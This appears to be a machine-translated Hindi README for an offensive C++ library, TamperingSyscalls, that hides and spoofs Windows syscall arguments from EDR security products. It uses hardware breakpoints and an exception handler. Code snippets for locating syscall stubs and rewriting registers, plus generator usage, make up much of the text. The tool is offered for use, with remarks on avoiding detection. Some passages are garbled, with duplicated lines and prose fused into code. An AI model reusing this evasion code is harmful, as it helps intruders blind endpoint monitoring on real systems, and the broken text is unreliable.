
C++ लाइब्रेरी जो हार्डवेयर ब्रेकपॉइंट्स और एक्सेप्शन हैंडलर्स का उपयोग करके Windows syscall तर्कों को पुनः प्राप्त करती है और स्पूफ करती है, ताकि EDR टेलीमेट्री को विफल किया जा सके।
TamperingSyscalls एक 2-भाग वाला नया प्रोजेक्ट है जिसमें argument spoofing और syscall retrieval शामिल हैं, जो दोनों EDRs को विफल करने के लिए EH का दुरुपयोग करते हैं। यह प्रोजेक्ट इन दोनों परियोजनाओं को शामिल करता है ताकि direct syscalls का एक वैकल्पिक समाधान प्रदान किया जा सके।
Syscalls के साथ छेड़छाड़।
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 बाइट्स वाले syscall निर्देश के पते पर एक हार्डवेयर ब्रेकपॉइंट सेट करें।
हम इस त्वरित मेमोरी बाइट खोज के साथ syscall stub का पता लगा सकते हैं।BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx होता है, क्योंकि RCX रजिस्टर अगले निर्देशों में नष्ट हो जाता है।case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
हम इस उदाहरण में देख सकते हैं कि हम NtMapViewOfSection के तर्कों को ठीक कर रहे हैं।
यदि आप EDR टेलीमेट्री को नकली बनाना शुरू करना चाहते हैं, तो p[FunctionName] परिभाषाओं को संशोधित करना संभव है, जहां वे वर्तमान में NULL पर सेट हैं।
आवश्यक फ़ंक्शन उत्पन्न करने के लिए, gen.py का उपयोग करें। यह निम्न में से किसी एक का समर्थन करता है:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
यह 3 फ़ाइलें उत्पन्न करेगा: TamperingSyscalls.cpp, TamperingSyscalls.h, और main.cpp। आप अपने प्रोजेक्ट में #include "TamperingSyscalls.h" शामिल कर सकते हैं। हम फ़ंक्शन के नाम को p के साथ जोड़कर फ़ंक्शन को कॉल कर सकते हैं, उदाहरण के लिए pNtOpenSection(...);
हम NtSetThreadContext या इसके वेरिएंट पर ब्रेकपॉइंट नहीं सेट कर सकते क्योंकि इसका उपयोग डीबग रजिस्टरों को सेट करने के लिए किया जाता है। एक संक्षिप्त अवधि होती है जहां डीबग रजिस्टर सेट होते हैं, लेकिन यह बहुत छोटी होती है और मुझे नहीं लगता कि खुले Dr0 को रखने के लिए हमारा पता लगाया जाएगा।
मैंने इन तकनीकों पर आधारित एक छोटा ब्लॉग पोस्ट प्रकाशित किया है।